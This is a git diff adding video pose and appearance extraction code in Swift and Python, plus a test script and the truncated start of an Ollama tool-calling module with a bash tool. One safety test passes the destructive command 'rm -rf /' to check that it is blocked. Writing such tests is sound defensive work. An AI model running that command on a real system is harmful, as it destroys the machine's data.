trackOutput.copyNextSampleBuffer() { + defer { frameIndex += 1 } + + guard let pixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else { + continue + } + + // Check if this is a pose frame + if let poseData = poseFrameDict[frameIndex] { + let seconds = Double(frameIndex) / Double(fps) + + // Extract colors at keypoint positions + let colors = extractColorsAtKeypoints(pixelBuffer: pixelBuffer, poseData: poseData, radius: colorRadius) + + // Calculate overall brightness + let brightness = calculateBrightness(pixelBuffer: pixelBuffer) + + // Get trace_id from pose (inherit) + let traceId = poseData["trace_id"] as? Int ?? 0 + + appearanceFrameDict[frameIndex] = [ + "frame": frameIndex, + "timestamp": seconds, + "trace_id": traceId, + "brightness": brightness, + "colors": colors + ] + } + + // Progress logging + if frameIndex % 5000 == 0 { + let elapsed = Date().timeIntervalSince(startTime) + print("[AppearanceExpansion] Frame \(frameIndex)/\(totalFrames), \(appearanceFrameDict.count) appearances, \(Int(elapsed))s") + fflush(stdout) + } + } + + reader.cancelReading() + + print("[AppearanceExpansion] Extraction done: \(appearanceFrameDict.count) frames with appearance") + + // 8Hz sampling output + var outputFrames: [[String: Any]] = [] + let sortedAppearanceFrames = appearanceFrameDict.keys.sorted() + + var targetFrame = 0 + while targetFrame < totalFrames { + // Find closest appearance frame to target + var closestFrame: Int? = nil + var closestDist = Int.max + + for appFrame in sortedAppearanceFrames { + let dist = abs(appFrame - targetFrame) + if dist < closestDist && dist <= sampleInterval { + closestDist = dist + closestFrame = appFrame + } + } + + if let cf = closestFrame, let data = appearanceFrameDict[cf] { + outputFrames.append(data) + } + + targetFrame += sampleInterval + } + + // Write output + let output: [String: Any] = [ + "frame_count": outputFrames.count, + "fps": Double(fps), + "frames": outputFrames + ] + + let jsonData = try JSONSerialization.data(withJSONObject: output, options: []) + try jsonData.write(to: URL(fileURLWithPath: outputPath)) + + let elapsed = Date().timeIntervalSince(startTime) + print("[AppearanceExpansion] Done: \(outputFrames.count) frames at 8Hz, \(String(format: "%.1f", elapsed))s → \(outputPath)") + } + + /// Extract colors at keypoint positions + func extractColorsAtKeypoints(pixelBuffer: CVPixelBuffer, poseData: [String: Any], radius: Int) -> [String: [Int]] { + let imgW = CVPixelBufferGetWidth(pixelBuffer) + let imgH = CVPixelBufferGetHeight(pixelBuffer) + + CVPixelBufferLockBaseAddress(pixelBuffer, .readOnly) + defer { CVPixelBufferUnlockBaseAddress(pixelBuffer, .readOnly) } + + guard let baseAddress = CVPixelBufferGetBaseAddress(pixelBuffer) else { + return [:] + } + + let bytesPerRow = CVPixelBufferGetBytesPerRow(pixelBuffer) + let buffer = baseAddress.bindMemory(to: UInt8.self, capacity: bytesPerRow * imgH) + + var colors: [String: [Int]] = [:] + + // Define keypoint groups for body parts + let bodyParts: [String: [String]] = [ + "head": ["nose", "left_eye", "right_eye", "left_ear", "right_ear"], + "torso": ["left_shoulder", "right_shoulder"], + "legs": ["left_hip", "right_hip", "left_knee", "right_knee"], + "feet": ["left_ankle", "right_ankle"] + ] + + // Extract color for each body part + for (partName, keypointNames) in bodyParts { + var totalR = 0, totalG = 0, totalB = 0 + var count = 0 + + // Get persons array from pose data + if let persons = poseData["persons"] as? [[String: Any]] { + for person in persons { + if let keypoints = person["keypoints"] as? [[String: Any]] { + for kp in keypoints { + guard let name = kp["name"] as? String, + keypointNames.contains(name), + let x = kp["x"] as? Double, + let y = kp["y"] as? Double, + let confidence = kp["confidence"] as? Double, + confidence > 0.3 else { continue } + + // Get average color around keypoint + let color = getAverageColor( + buffer: buffer, + bytesPerRow: bytesPerRow, + imgW: imgW, + imgH: imgH, + centerX: Int(x), + centerY: Int(y), + radius: radius + ) + + totalR += color.0 + totalG += color.1 + totalB += color.2 + count += 1 + } + } + } + } + + if count > 0 { + colors[partName] = [totalR / count, totalG / count, totalB / count] + } + } + + return colors + } + + /// Get average color around a position + func getAverageColor( + buffer: UnsafeMutablePointer, + bytesPerRow: Int, + imgW: Int, + imgH: Int, + centerX: Int, + centerY: Int, + radius: Int + ) -> (Int, Int, Int) { + let x1 = max(0, centerX - radius) + let x2 = min(imgW - 1, centerX + radius) + let y1 = max(0, centerY - radius) + let y2 = min(imgH - 1, centerY + radius) + + var totalR = 0, totalG = 0, totalB = 0, count = 0 + + for y in y1...y2 { + let rowStart = y * bytesPerRow + for x in x1...x2 { + let offset = rowStart + x * 4 + totalB += Int(buffer[offset]) + totalG += Int(buffer[offset + 1]) + totalR += Int(buffer[offset + 2]) + count += 1 + } + } + + if count > 0 { + return (totalR / count, totalG / count, totalB / count) + } + return (0, 0, 0) + } + + /// Calculate overall brightness of frame + func calculateBrightness(pixelBuffer: CVPixelBuffer) -> Double { + let imgW = CVPixelBufferGetWidth(pixelBuffer) + let imgH = CVPixelBufferGetHeight(pixelBuffer) + + CVPixelBufferLockBaseAddress(pixelBuffer, .readOnly) + defer { CVPixelBufferUnlockBaseAddress(pixelBuffer, .readOnly) } + + guard let baseAddress = CVPixelBufferGetBaseAddress(pixelBuffer) else { + return 0.0 + } + + let bytesPerRow = CVPixelBufferGetBytesPerRow(pixelBuffer) + let buffer = baseAddress.bindMemory(to: UInt8.self, capacity: bytesPerRow * imgH) + + var totalBrightness = 0.0 + var count = 0 + + // Sample every 10 pixels for speed + for y in stride(from: 0, to: imgH, by: 10) { + let rowStart = y * bytesPerRow + for x in stride(from: 0, to: imgW, by: 10) { + let offset = rowStart + x * 4 + let b = Double(buffer[offset]) + let g = Double(buffer[offset + 1]) + let r = Double(buffer[offset + 2]) + + // Calculate luminance + let luminance = 0.299 * r + 0.587 * g + 0.114 * b + totalBrightness += luminance / 255.0 + count += 1 + } + } + + return count > 0 ? totalBrightness / Double(count) : 0.0 + } +} \ No newline at end of file diff --git a/scripts/swift_processors/swift_pose_expansion.swift b/scripts/swift_processors/swift_pose_expansion.swift new file mode 100644 index 0000000..7d110ab --- /dev/null +++ b/scripts/swift_processors/swift_pose_expansion.swift @@ -0,0 +1,376 @@ +import Foundation +import Vision +import ArgumentParser +import AVFoundation + +/// Swift Pose Expansion Processor V2 +/// +/// Reads face_traced.json (from face tracking) and expands pose detection from trace frames. +/// Inherits trace_id from face traces for proper tracking continuity. +/// +/// Algorithm: +/// 1. Load face_traced.json, extract frames grouped by trace_id +/// 2. For each trace_id, start from face frames and expand forward/backward +/// 3. Stop expansion when 3 consecutive frames have no pose detection +/// 4. Associate each pose with the nearest face's trace_id +/// 5. Output pose.json at 8Hz sampling (floor(fps/8) interval) +@main +struct SwiftPoseExpansion: ParsableCommand { + @Argument(help: "Video file path") + var videoPath: String + + @Argument(help: "Input face_traced.json path") + var faceTracedPath: String + + @Argument(help: "Output pose.json path") + var outputPath: String + + @Option(name: .long, help: "UUID for logging") + var uuid: String = "" + + @Option(name: .long, help: "Consecutive miss threshold to stop expansion (default: 3)") + var missThreshold: Int = 3 + + mutating func run() throws { + let startTime = Date() + print("[PoseExpansion] Starting pose expansion from face traces: \(videoPath)") + + // Load face_traced.json + guard let faceData = try? Data(contentsOf: URL(fileURLWithPath: faceTracedPath)) else { + print("[PoseExpansion] ERROR: Cannot read \(faceTracedPath)") + return + } + + guard let faceJson = try? JSONSerialization.jsonObject(with: faceData) as? [String: Any] else { + print("[PoseExpansion] ERROR: Invalid JSON in \(faceTracedPath)") + return + } + + // Extract frames with trace_id mapping + // frameToTraces: frame -> [(trace_id, x, y, w, h)] + var frameToTraces: [Int: [(traceId: Int, x: Double, y: Double, w: Double, h: Double)]] = [:] + var allTraceIds: Set = [] + + // Handle both dict and list format + if let framesDict = faceJson["frames"] as? [String: Any] { + for (frameStr, frameData) in framesDict { + guard let frameNum = Int(frameStr) else { continue } + if let faces = (frameData as? [String: Any])?["faces"] as? [[String: Any]] { + for face in faces { + if let traceId = face["trace_id"] as? Int, traceId > 0 { + allTraceIds.insert(traceId) + let bbox = face["bbox"] as? [String: Any] + let x = bbox?["x"] as? Double ?? face["x"] as? Double ?? 0 + let y = bbox?["y"] as? Double ?? face["y"] as? Double ?? 0 + let w = bbox?["width"] as? Double ?? face["width"] as? Double ?? 0 + let h = bbox?["height"] as? Double ?? face["height"] as? Double ?? 0 + frameToTraces[frameNum, default: []].append((traceId, x, y, w, h)) + } + } + } + } + } else if let framesList = faceJson["frames"] as? [[String: Any]] { + for frameData in framesList { + guard let frameNum = frameData["frame"] as? Int else { continue } + if let faces = frameData["faces"] as? [[String: Any]] { + for face in faces { + if let traceId = face["trace_id"] as? Int, traceId > 0 { + allTraceIds.insert(traceId) + let bbox = face["bbox"] as? [String: Any] + let x = bbox?["x"] as? Double ?? face["x"] as? Double ?? 0 + let y = bbox?["y"] as? Double ?? face["y"] as? Double ?? 0 + let w = bbox?["width"] as? Double ?? face["width"] as? Double ?? 0 + let h = bbox?["height"] as? Double ?? face["height"] as? Double ?? 0 + frameToTraces[frameNum, default: []].append((traceId, x, y, w, h)) + } + } + } + } + } + + print("[PoseExpansion] Found \(allTraceIds.count) traces, \(frameToTraces.count) frames in \(faceTracedPath)") + + if frameToTraces.isEmpty { + print("[PoseExpansion] No traces found, skipping pose expansion") + let emptyOutput: [String: Any] = ["frame_count": 0, "fps": 0.0, "frames": []] + let jsonData = try JSONSerialization.data(withJSONObject: emptyOutput, options: []) + try jsonData.write(to: URL(fileURLWithPath: outputPath)) + return + } + + // Get video info + let url = URL(fileURLWithPath: videoPath) + let asset = AVAsset(url: url) + guard let videoTrack = asset.tracks(withMediaType: .video).first else { + print("[PoseExpansion] ERROR: No video track") + return + } + + let fps = videoTrack.nominalFrameRate + let duration = CMTimeGetSeconds(asset.duration) + let totalFrames = Int(duration * Double(fps)) + let sampleInterval = max(1, Int(floor(Double(fps) / 8.0))) + + print("[PoseExpansion] Video: \(fps)fps, \(totalFrames) frames, 8Hz interval=\(sampleInterval)") + + // Build set of all face frames + let allFaceFrameSet = Set(frameToTraces.keys) + + // Track which frames have pose with trace_id + var poseFrameDict: [Int: [String: Any]] = [:] + + // Setup asset reader + let outputSettings: [String: Any] = [ + kCVPixelBufferPixelFormatTypeKey as String: kCVPixelFormatType_32BGRA + ] + + let reader = try AVAssetReader(asset: asset) + let trackOutput = AVAssetReaderTrackOutput(track: videoTrack, outputSettings: outputSettings) + trackOutput.alwaysCopiesSampleData = false + reader.add(trackOutput) + + guard reader.startReading() else { + print("[PoseExpansion] ERROR: Cannot start reader") + return + } + + // Process frames + var frameIndex = 0 + var consecutiveMisses = 0 + var activeTraceIds: Set = [] // Currently active traces being expanded + + while let sampleBuffer = trackOutput.copyNextSampleBuffer() { + defer { frameIndex += 1 } + + guard let pixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else { + continue + } + + // Check if this frame has face traces + let faceTraces = frameToTraces[frameIndex] + let isFaceFrame = faceTraces != nil && !faceTraces!.isEmpty + + if isFaceFrame, let traces = faceTraces { + // Update active traces + for ft in traces { + activeTraceIds.insert(ft.traceId) + } + consecutiveMisses = 0 + } + + // Check if we should process this frame + let shouldProcess = isFaceFrame || + (consecutiveMisses < missThreshold * sampleInterval && !activeTraceIds.isEmpty) + + if shouldProcess { + let poseResult = detectPose(pixelBuffer: pixelBuffer) + + if poseResult.hasPose { + let seconds = Double(frameIndex) / Double(fps) + + // Determine trace_id for this pose + var traceId = 0 + if isFaceFrame, let traces = faceTraces { + // Use the trace_id from face (may need bbox matching for multi-person) + // For now, use the first trace_id found + traceId = traces.first?.traceId ?? 0 + } else { + // Inherit from nearest face frame with active trace + let nearestFaceFrame = findNearestFaceFrame( + frameIndex: frameIndex, + frameToTraces: frameToTraces, + activeTraceIds: activeTraceIds + ) + if let nearest = nearestFaceFrame, let traces = frameToTraces[nearest] { + traceId = traces.first?.traceId ?? 0 + } + } + + poseFrameDict[frameIndex] = [ + "frame": frameIndex, + "timestamp": seconds, + "trace_id": traceId, + "persons": poseResult.persons + ] + consecutiveMisses = 0 + } else { + consecutiveMisses += 1 + } + } + + // Progress logging + if frameIndex % 5000 == 0 { + let elapsed = Date().timeIntervalSince(startTime) + print("[PoseExpansion] Frame \(frameIndex)/\(totalFrames), \(poseFrameDict.count) poses, \(Int(elapsed))s") + fflush(stdout) + } + } + + reader.cancelReading() + + print("[PoseExpansion] Detection done: \(poseFrameDict.count) frames with pose") + + // 8Hz sampling output + var outputFrames: [[String: Any]] = [] + let sortedPoseFrames = poseFrameDict.keys.sorted() + + var targetFrame = 0 + while targetFrame < totalFrames { + // Find closest pose frame to target + var closestFrame: Int? = nil + var closestDist = Int.max + + for poseFrame in sortedPoseFrames { + let dist = abs(poseFrame - targetFrame) + if dist < closestDist && dist <= sampleInterval { + closestDist = dist + closestFrame = poseFrame + } + } + + if let cf = closestFrame, let data = poseFrameDict[cf] { + outputFrames.append(data) + } + + targetFrame += sampleInterval + } + + // Write output + let output: [String: Any] = [ + "frame_count": outputFrames.count, + "fps": Double(fps), + "frames": outputFrames + ] + + let jsonData = try JSONSerialization.data(withJSONObject: output, options: []) + try jsonData.write(to: URL(fileURLWithPath: outputPath)) + + let elapsed = Date().timeIntervalSince(startTime) + print("[PoseExpansion] Done: \(outputFrames.count) frames at 8Hz, \(String(format: "%.1f", elapsed))s → \(outputPath)") + } + + /// Find nearest face frame with active trace + func findNearestFaceFrame( + frameIndex: Int, + frameToTraces: [Int: [(traceId: Int, x: Double, y: Double, w: Double, h: Double)]], + activeTraceIds: Set + ) -> Int? { + var nearestFrame: Int? = nil + var nearestDist = Int.max + + for (frameNum, traces) in frameToTraces { + // Check if this frame has an active trace + let hasActiveTrace = traces.contains { activeTraceIds.contains($0.traceId) } + if hasActiveTrace { + let dist = abs(frameNum - frameIndex) + if dist < nearestDist { + nearestDist = dist + nearestFrame = frameNum + } + } + } + + return nearestFrame + } + + func detectPose(pixelBuffer: CVPixelBuffer) -> (hasPose: Bool, persons: [[String: Any]]) { + let imgW = CGFloat(CVPixelBufferGetWidth(pixelBuffer)) + let imgH = CGFloat(CVPixelBufferGetHeight(pixelBuffer)) + + let handler = VNImageRequestHandler(cvPixelBuffer: pixelBuffer, options: [:]) + let bodyReq = VNDetectHumanBodyPoseRequest() + + do { + try handler.perform([bodyReq]) + } catch { + return (false, []) + } + + let jointNames: [VNHumanBodyPoseObservation.JointName] = [ + .nose, .leftEye, .rightEye, .leftEar, .rightEar, + .neck, .root, + .leftShoulder, .rightShoulder, + .leftElbow, .rightElbow, + .leftWrist, .rightWrist, + .leftHip, .rightHip, + .leftKnee, .rightKnee, + .leftAnkle, .rightAnkle, + ] + + var persons: [[String: Any]] = [] + + let poses = bodyReq.results ?? [] + for pose in poses { + var keypoints: [[String: Any]] = [] + var minX = CGFloat.greatestFiniteMagnitude + var minY = CGFloat.greatestFiniteMagnitude + var maxX: CGFloat = 0 + var maxY: CGFloat = 0 + + for joint in jointNames { + if let point = try? pose.recognizedPoint(joint) { + let desc = String(describing: joint.rawValue) + var rawName = desc + .replacingOccurrences(of: "VNRecognizedPointKey(_rawValue: ", with: "") + .replacingOccurrences(of: ")", with: "") + .trimmingCharacters(in: .whitespaces) + + let nameMap: [String: String] = [ + "head_joint": "nose", + "left_eye_joint": "left_eye", + "right_eye_joint": "right_eye", + "left_ear_joint": "left_ear", + "right_ear_joint": "right_ear", + "neck_1_joint": "neck", + "left_shoulder_1_joint": "left_shoulder", + "right_shoulder_1_joint": "right_shoulder", + "left_elbow_1_joint": "left_elbow", + "right_elbow_1_joint": "right_elbow", + "left_hand_joint": "left_wrist", + "right_hand_joint": "right_wrist", + "left_hip_1_joint": "left_hip", + "right_hip_1_joint": "right_hip", + "left_knee_1_joint": "left_knee", + "right_knee_1_joint": "right_knee", + "left_ankle_1_joint": "left_ankle", + "right_ankle_1_joint": "right_ankle", + "center_hip_joint": "root", + ] + if let mapped = nameMap[rawName] { + rawName = mapped + } + + let px = point.location.x * CGFloat(imgW) + let py = CGFloat(imgH) - point.location.y * CGFloat(imgH) + keypoints.append([ + "name": rawName.isEmpty ? "\(joint)" : rawName, + "x": px, + "y": py, + "confidence": point.confidence, + ]) + + if point.confidence > 0.1 { + minX = min(minX, px) + minY = min(minY, py) + maxX = max(maxX, px) + maxY = max(maxY, py) + } + } + } + + var bbox: [String: Any] = ["x": 0, "y": 0, "width": 0, "height": 0] + if maxX > minX { + bbox = [ + "x": Int(minX), + "y": Int(minY), + "width": Int(maxX - minX), + "height": Int(maxY - minY), + ] + } + + persons.append(["keypoints": keypoints, "bbox": bbox]) + } + + return (!persons.isEmpty, persons) + } +} \ No newline at end of file diff --git a/scripts/test_mediapipe_pose_alignment.py b/scripts/test_mediapipe_pose_alignment.py new file mode 100644 index 0000000..6ec40fe --- /dev/null +++ b/scripts/test_mediapipe_pose_alignment.py @@ -0,0 +1,345 @@ +#!/opt/homebrew/bin/python3.11 +""" +Test MediaPipe Pose alignment on face trace key frames + +Tests 50 random key frames to determine alignment rate. +Handles multiple poses by matching only the correct one with face bbox. + +Usage: + python3 scripts/test_mediapipe_pose_alignment.py --file-uuid --sample-size 50 +""" + +import argparse +import json +import os +import random +import sys +import time +from pathlib import Path + +try: + import cv2 + import mediapipe as mp + from mediapipe.tasks.python.vision import PoseLandmarker, PoseLandmarkerOptions + from mediapipe.tasks.python.core.base_options import BaseOptions +except ImportError as e: + print(f"Missing dependency: {e}", file=sys.stderr) + sys.exit(1) + + +LANDMARK_NAMES = [ + "nose", "left_eye_inner", "left_eye", "left_eye_outer", + "right_eye_inner", "right_eye", "right_eye_outer", + "left_ear", "right_ear", "mouth_left", "mouth_right", + "left_shoulder", "right_shoulder", "left_elbow", "right_elbow", + "left_wrist", "right_wrist", "left_pinky", "right_pinky", + "left_index", "right_index", "left_thumb", "right_thumb", + "left_hip", "right_hip", "left_knee", "right_knee", + "left_ankle", "right_ankle", "left_heel", "right_heel", + "left_foot_index", "right_foot_index", +] + + +def point_in_bbox(x, y, bbox): + """Check if point (in pixels) is inside bbox (in pixels).""" + return (bbox['x'] <= x <= bbox['x'] + bbox['width'] and + bbox['y'] <= y <= bbox['y'] + bbox['height']) + + +def get_face_bbox(face_data, trace_id): + """Get face bbox for a trace from face_traced.json.""" + traces = face_data.get('traces', {}) + frames = face_data.get('frames', {}) + + if trace_id not in traces: + return None + + trace = traces[trace_id] + start_frame = str(trace.get('start_frame', 0)) + + if start_frame not in frames: + return None + + frame_data = frames[start_frame] + faces = frame_data.get('faces', []) + + # Find the face that belongs to this trace + for face in faces: + if face.get('trace_id') == int(trace_id): + return { + 'x': face['x'], + 'y': face['y'], + 'width': face['width'], + 'height': face['height'] + } + + # Fallback: use first face + if faces: + face = faces[0] + return { + 'x': face['x'], + 'y': face['y'], + 'width': face['width'], + 'height': face['height'] + } + + return None + + +def check_pose_alignment(pose_landmarks, face_bbox, img_width, img_height): + """ + Check if pose face keypoints align with face bbox. + + Returns: (aligned: bool, face_keypoints: dict) + """ + # Get face keypoints from pose + kp_dict = {} + for idx, landmark in enumerate(pose_landmarks): + if idx < len(LANDMARK_NAMES): + name = LANDMARK_NAMES[idx] + if name in ['nose', 'left_eye', 'right_eye']: + # Convert normalized coords to pixels + kp_dict[name] = { + 'x': landmark.x * img_width, + 'y': landmark.y * img_height, + 'confidence': landmark.visibility if hasattr(landmark, 'visibility') else 1.0 + } + + # Check if all 3 keypoints are in bbox + required = ['nose', 'left_eye', 'right_eye'] + if not all(k in kp_dict for k in required): + return False, kp_dict + + for name in required: + kp = kp_dict[name] + if not point_in_bbox(kp['x'], kp['y'], face_bbox): + return False, kp_dict + + return True, kp_dict + + +def test_alignment(file_uuid, output_dir, sample_size=None): + """Test MediaPipe pose alignment on key frames. + + Args: + sample_size: If None, process all key frames. Otherwise, sample N. + """ + + # Load face data + face_json = Path(output_dir) / f"{file_uuid}.face_traced.json" + if not face_json.exists(): + print(f"[pose_keyframe] Face file not found: {face_json}", file=sys.stderr) + return + + with open(face_json) as f: + face_data = json.load(f) + + # Get all trace IDs with key_frame.jpg + output_path = Path(output_dir) / file_uuid + trace_dirs = sorted(output_path.glob("trace_*")) + + valid_traces = [] + for trace_dir in trace_dirs: + key_frame = trace_dir / "key_frame.jpg" + if key_frame.exists(): + trace_id = trace_dir.name.replace("trace_", "") + valid_traces.append(trace_id) + + print(f"[pose_keyframe] Found {len(valid_traces)} traces with key_frame.jpg") + + # Sample or process all + if sample_size and len(valid_traces) > sample_size: + sample_traces = random.sample(valid_traces, sample_size) + else: + sample_traces = valid_traces + + print(f"[pose_keyframe] Processing {len(sample_traces)} key frames...") + + # Download model + model_path = os.path.expanduser("~/.mediapipe/models/pose_landmarker_heavy.task") + if not os.path.exists(model_path): + os.makedirs(os.path.dirname(model_path), exist_ok=True) + print(f"[test] Downloading model...") + import urllib.request + url = "https://storage.googleapis.com/mediapipe-models/pose_landmarker/pose_landmarker_heavy/float16/1/pose_landmarker_heavy.task" + urllib.request.urlretrieve(url, model_path) + + # Initialize MediaPipe + options = PoseLandmarkerOptions( + base_options=BaseOptions(model_asset_path=model_path), + running_mode=mp.tasks.vision.RunningMode.IMAGE, + ) + detector = PoseLandmarker.create_from_options(options) + + # Test each sample + results = [] + + for i, trace_id in enumerate(sample_traces): + key_frame_path = output_path / f"trace_{trace_id}" / "key_frame.jpg" + + # Get face bbox + face_bbox = get_face_bbox(face_data, trace_id) + if not face_bbox: + results.append({ + 'trace_id': trace_id, + 'status': 'no_face_bbox', + 'aligned': False + }) + continue + + # Read image + img = cv2.imread(str(key_frame_path)) + if img is None: + results.append({ + 'trace_id': trace_id, + 'status': 'cannot_read_image', + 'aligned': False + }) + continue + + img_height, img_width = img.shape[:2] + + # Detect pose + rgb_img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) + mp_image = mp.Image(mp.ImageFormat.SRGB, rgb_img) + results_mp = detector.detect(mp_image) + + if not results_mp.pose_landmarks: + results.append({ + 'trace_id': trace_id, + 'status': 'no_pose_detected', + 'aligned': False + }) + continue + + # Check each pose for alignment + aligned_poses = [] + for pose_landmarks in results_mp.pose_landmarks: + aligned, face_kps = check_pose_alignment( + pose_landmarks, face_bbox, img_width, img_height + ) + if aligned: + # Get all keypoints + all_keypoints = [] + for idx, landmark in enumerate(pose_landmarks): + if idx < len(LANDMARK_NAMES): + name = LANDMARK_NAMES[idx] + all_keypoints.append({ + 'name': name, + 'x': landmark.x * img_width, + 'y': landmark.y * img_height, + 'confidence': landmark.visibility if hasattr(landmark, 'visibility') else 1.0 + }) + + aligned_poses.append({ + 'face_keypoints': face_kps, + 'keypoints': all_keypoints + }) + + if aligned_poses: + # Get all keypoints from the best aligned pose + best_pose = aligned_poses[0] + all_keypoints = [] + for idx, landmark in enumerate(pose_landmarks): + if idx < len(LANDMARK_NAMES): + name = LANDMARK_NAMES[idx] + all_keypoints.append({ + 'name': name, + 'x': landmark.x * img_width, + 'y': landmark.y * img_height, + 'confidence': landmark.visibility if hasattr(landmark, 'visibility') else 1.0 + }) + + pose_data = { + 'keypoints': all_keypoints, + 'face_keypoints': best_pose['face_keypoints'], + 'num_poses_detected': len(results_mp.pose_landmarks), + 'num_aligned': len(aligned_poses) + } + + results.append({ + 'trace_id': trace_id, + 'status': 'aligned', + 'aligned': True, + 'pose_data': pose_data + }) + else: + results.append({ + 'trace_id': trace_id, + 'status': 'pose_not_aligned', + 'aligned': False, + 'num_poses_detected': len(results_mp.pose_landmarks) + }) + + if (i + 1) % 10 == 0: + print(f"[test] Processed {i+1}/{len(sample_traces)} samples...") + + detector.close() + + # Calculate statistics + total = len(results) + aligned_count = sum(1 for r in results if r.get('aligned')) + + status_counts = {} + for r in results: + status = r.get('status', 'unknown') + status_counts[status] = status_counts.get(status, 0) + 1 + + print(f"\n[pose_keyframe] === RESULTS ===") + print(f"[pose_keyframe] Total processed: {total}") + print(f"[pose_keyframe] Aligned: {aligned_count} ({aligned_count/total*100:.1f}%)") + print(f"[pose_keyframe] Not aligned: {total - aligned_count} ({(total-aligned_count)/total*100:.1f}%)") + print(f"\n[pose_keyframe] Status breakdown:") + for status, count in sorted(status_counts.items()): + print(f"[pose_keyframe] {status}: {count} ({count/total*100:.1f}%)") + + # Save results + output_file = Path(output_dir) / f"{file_uuid}.pose_keyframe_results.json" + with open(output_file, 'w') as f: + json.dump({ + 'total_processed': total, + 'aligned': aligned_count, + 'alignment_rate': f"{aligned_count/total*100:.1f}%", + 'status_counts': status_counts, + 'results': results + }, f, indent=2) + + print(f"\n[pose_keyframe] Results saved to: {output_file}") + + # Update trace_profile.json for aligned poses + print(f"\n[pose_keyframe] Updating trace_profile.json for aligned poses...") + updated_count = 0 + for r in results: + if r.get('aligned') and r.get('pose_data'): + trace_id = r['trace_id'] + profile_path = output_path / f"trace_{trace_id}" / "trace_profile.json" + + if profile_path.exists(): + with open(profile_path) as f: + profile = json.load(f) + + profile['pose'] = r['pose_data'] + profile['pose_aligned'] = True + + with open(profile_path, 'w') as f: + json.dump(profile, f, indent=2) + + updated_count += 1 + + print(f"[pose_keyframe] Updated {updated_count} trace_profile.json files") + + +def main(): + parser = argparse.ArgumentParser(description="Process MediaPipe pose on key frames") + parser.add_argument("--file-uuid", "-u", required=True, help="File UUID") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + parser.add_argument("--sample-size", "-s", type=int, default=None, help="Sample size (default: all)") + parser.add_argument("--all", "-a", action="store_true", help="Process all key frames") + args = parser.parse_args() + + sample_size = None if args.all else args.sample_size + test_alignment(args.file_uuid, args.output_dir, sample_size) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/test_tool_caller.py b/scripts/test_tool_caller.py new file mode 100644 index 0000000..e44978a --- /dev/null +++ b/scripts/test_tool_caller.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +""" +Test script for Tool Calling Module +==================================== +Tests sequential multi-tool execution. +""" + +import sys +import os +sys.path.insert(0, os.path.dirname(__file__)) + +from tool_caller import OllamaToolCaller, ToolResult +import json + + +def test_single_tool(): + """Test single tool call""" + print("=" * 60) + print("TEST 1: Single Tool Call (PostgreSQL)") + print("=" * 60) + + caller = OllamaToolCaller() + caller.register_default_tools() + + query = "How many videos are in the database?" + print(f"Query: {query}") + print("-" * 60) + + result = caller.run(query) + print(f"Result:\n{result}") + print() + + +def test_multi_tool(): + """Test multi-tool sequential call""" + print("=" * 60) + print("TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)") + print("=" * 60) + + caller = OllamaToolCaller() + caller.register_default_tools() + + query = "Find videos about dogs, then search for similar content in the vector database" + print(f"Query: {query}") + print("-" * 60) + + result = caller.run(query) + print(f"Result:\n{result}") + print() + + +def test_tool_direct(): + """Test direct tool execution""" + print("=" * 60) + print("TEST 3: Direct Tool Execution") + print("=" * 60) + + caller = OllamaToolCaller() + caller.register_default_tools() + + # Test PostgreSQL directly + print("Testing PostgreSQL tool directly:") + result = caller.registry.execute("query_postgres", { + "query": "SELECT COUNT(*) as count FROM videos" + }) + print(f" Success: {result.success}") + print(f" Data: {result.data}") + print(f" Time: {result.execution_time_ms:.1f}ms") + print() + + # Test Bash directly + print("Testing Bash tool directly:") + result = caller.registry.execute("execute_bash", { + "command": "echo 'Hello from Tool Caller!' && date" + }) + print(f" Success: {result.success}") + print(f" Data: {result.data}") + print(f" Time: {result.execution_time_ms:.1f}ms") + print() + + +def test_bash_safety(): + """Test bash command safety""" + print("=" * 60) + print("TEST 4: Bash Safety Check") + print("=" * 60) + + caller = OllamaToolCaller() + caller.register_default_tools() + + # Test blocked command + print("Testing blocked command (rm -rf /):") + result = caller.registry.execute("execute_bash", { + "command": "rm -rf /" + }) + print(f" Success: {result.success}") + print(f" Error: {result.error}") + print() + + # Test safe command + print("Testing safe command:") + result = caller.registry.execute("execute_bash", { + "command": "ls -la /tmp | head -5" + }) + print(f" Success: {result.success}") + print(f" Data: {result.data}") + print() + + +def main(): + """Run all tests""" + print("\n" + "=" * 60) + print("TOOL CALLING MODULE - TEST SUITE") + print("=" * 60 + "\n") + + try: + # Test 1: Single tool + test_single_tool() + + # Test 2: Multi tool + test_multi_tool() + + # Test 3: Direct execution + test_tool_direct() + + # Test 4: Safety + test_bash_safety() + + print("=" * 60) + print("ALL TESTS COMPLETED") + print("=" * 60) + + except Exception as e: + print(f"\nERROR: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/scripts/tool_caller.py b/scripts/tool_caller.py new file mode 100644 index 0000000..f759da4 --- /dev/null +++ b/scripts/tool_caller.py @@ -0,0 +1,790 @@ +#!/usr/bin/env python3 +""" +Momentry Tool Calling Module +============================ +Supports sequential multi-tool execution using Ollama API. + +Tools: +- query_postgres: PostgreSQL database queries +- search_qdrant: Vector similarity search +- execute_bash: Bash command execution +- call_api: HTTP API calls + +Version: 1.1.0 +Updated: 2026-07-26 +Changes: +- Added embedding server health check +- Enhanced bash safety patterns +- Added logging support +- Environment variable for Qdrant collection +""" + +import json +import logging +import os +import re +import subprocess +import requests +from typing import Any, Callable, Dict, List, Optional, Tuple +from dataclasses import dataclass +from datetime import datetime, date + +# Configure logging +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' +) +logger = logging.getLogger('tool_caller') + + +class DateTimeEncoder(json.JSONEncoder): + """Custom JSON encoder for datetime objects""" + def default(self, obj): + if isinstance(obj, (datetime, date)): + return obj.isoformat() + return super().default(obj) + + +@dataclass +class ToolResult: + """Result from tool execution""" + success: bool + data: Any + error: Optional[str] = None + execution_time_ms: float = 0 + + +class ToolRegistry: + """Registry for available tools""" + + def __init__(self): + self._tools: Dict[str, Dict[str, Any]] = {} + self._executors: Dict[str, Callable] = {} + + def register( + self, + name: str, + description: str, + parameters: Dict[str, Any], + executor: Callable[[Dict[str, Any]], ToolResult] + ): + """Register a new tool""" + self._tools[name] = { + "type": "function", + 